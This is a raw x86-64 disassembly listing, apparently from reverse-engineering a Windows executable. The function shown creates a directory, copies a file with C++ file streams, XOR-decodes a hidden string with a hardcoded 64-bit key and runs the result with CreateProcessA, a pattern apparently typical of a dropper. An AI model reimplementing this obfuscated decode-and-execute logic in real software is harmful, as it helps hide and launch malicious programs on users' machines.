lea rdx, [rbp + 0x28d]
cmp rcx, rdx
ja 0x140018406
lea rdx, [rbp + 0x270]
cmp rax, rdx
jb 0x140018406
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x280]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x288]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x28c]
mov word [rcx + 0x1c], ax
jmp 0x14001842a
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x280]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x288]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x28c]
mov word [rcx + 0x1c], ax
lea rcx, [0x14003c130]
call fcn.14001ecc8
nop
lea rcx, [rdi + rbx]
call fcn.1400192b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a0], r13
mov qword [rbp + 0x2a8], r13
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140018462
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140002e60
nop
lea r8, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0xf
cmova r8, qword [rbp + 0x290]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.14001ed60
mov rdi, rax
lea r8, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0xf
cmova r8, qword [rbp + 0x290]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14001850c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
call fcn.14001ebb0
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x50]
call fcn.14003a780
lea rdx, [rbp + 0x370]
cmp qword [rbp + 0x388], 0xf
cmova rdx, qword [rbp + 0x370]
lea rcx, [rbp - 0x50]
call fcn.14001a5b0
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rdi
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x54], edx
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xc0]
call fcn.14003a780
mov r8d, 0x20
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0xc0]
call fcn.140019fb0
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x40], 6
jne 0x1400185cd
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xd0], 6
jne 0x1400185cd
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xc0]
call fcn.14001a180
lea rcx, [rbp - 0x40]
call fcn.14001aa30
mov ebx, 2
test rax, rax
jne 0x140018609
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov eax, r15d
cmp qword [rbp + rcx - 8], 0
cmovne eax, ebx
or eax, dword [rbp + rcx - 0x40]
and eax, 0x17
mov dword [rbp + rcx - 0x40], eax
and eax, dword [rbp + rcx - 0x3c]
jne 0x140018a6f
lea rcx, [rbp + 0xc8]
call fcn.14001aa30
test rax, rax
jne 0x140018654
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x108], 0
cmovne r15d, ebx
or r15d, dword [rbp + rcx + 0xd0]
and r15d, 0x17
mov dword [rbp + rcx + 0xd0], r15d
and r15d, dword [rbp + rcx + 0xd4]
jne 0x140018ac1
call fcn.140018fd0
mov r9, rax
cmp byte [rax + 0x8e], 0
je 0x1400186bf
lea rdx, [rax + 1]
mov r8, rsi
sub r8, rax
movabs r10, 0xbb55ff59df597b8d
nop dword [rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x8e
jb 0x140018680
mov byte [r9 + 0x8e], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], r13
mov r8, rsi
inc r8
cmp byte [r9 + r8], 0
jne 0x1400186d2
mov rdx, r9
lea rcx, [rsp + 0x78]
call fcn.140002e60
nop
lea r8, [rsp + 0x78]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x230]
call fcn.14001af30
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x14001873f
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001873a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018b17
call fcn.14001ebb0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rcx, qword [rbp + 0x240]
inc rcx
mov rax, rbx
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.14001ed60
mov rbx, rax
lea r8, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova r8, qword [rbp + 0x230]
mov ecx, dword [rbp + 0x240]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rax
mov dword [rbp + 0x40c], 1
mov word [rbp + 0x410], r13w
lea rdx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova rdx, qword [rbp + 0x230]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14001ebb0
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x1400188b2
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400188ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018b1d
call fcn.14001ebb0
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], 0
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rsi
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xc8]
call fcn.140019f00
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rbx
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xbc], edx
mov qword [rbp + 0x168], r14
lea rcx, [rbp + 0x168]
call fcn.14001e134
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x50], rdi
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x54], edx
lea rcx, [rbp - 0x40]
call fcn.140019f00
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x54], edx
mov qword [rbp + 0x60], r14
lea rcx, [rbp + 0x60]
call fcn.14001e134
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0xf
jbe 0x140017f1e
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400189e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018b23
call fcn.14001ebb0
jmp 0x140017f1e
call fcn.14002669c
nop
test al, 4
je 0x140018a02
lea rbx, str.ios_base::badbit_set
jmp 0x140018a16
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x290]
call fcn.140001d20
lea rdx, [0x140066a48]
lea rcx, [rbp + 0x290]
call fcn.140020b4c
nop
call fcn.1400013f0
nop
call fcn.1400013f0
nop
call fcn.1400013f0
nop
call fcn.14002669c
nop
call fcn.14002669c
nop
call fcn.14002669c
nop
test al, 4
je 0x140018a7c
lea rbx, str.ios_base::badbit_set
jmp 0x140018a90
test bl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001d20
lea rdx, [0x140066a48]
lea rcx, [rsp + 0x50]
call fcn.140020b4c
int3
test r15b, 4
je 0x140018ad0
lea rbx, str.ios_base::badbit_set
jmp 0x140018ae6
test r15b, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001d20
lea rdx, [0x140066a48]
lea rcx, [rsp + 0x50]
call fcn.140020b4c
nop
call fcn.14002669c
nop
call fcn.14002669c
nop
call fcn.14002669c
nop
call fcn.14002669c
nop
call fcn.14002669c
nop
call fcn.14002669c
nop
call fcn.14002669c
nop
call fcn.14002669c
nop
call fcn.14002669c
nop
call fcn.14002669c
nop
call fcn.14002669c
int3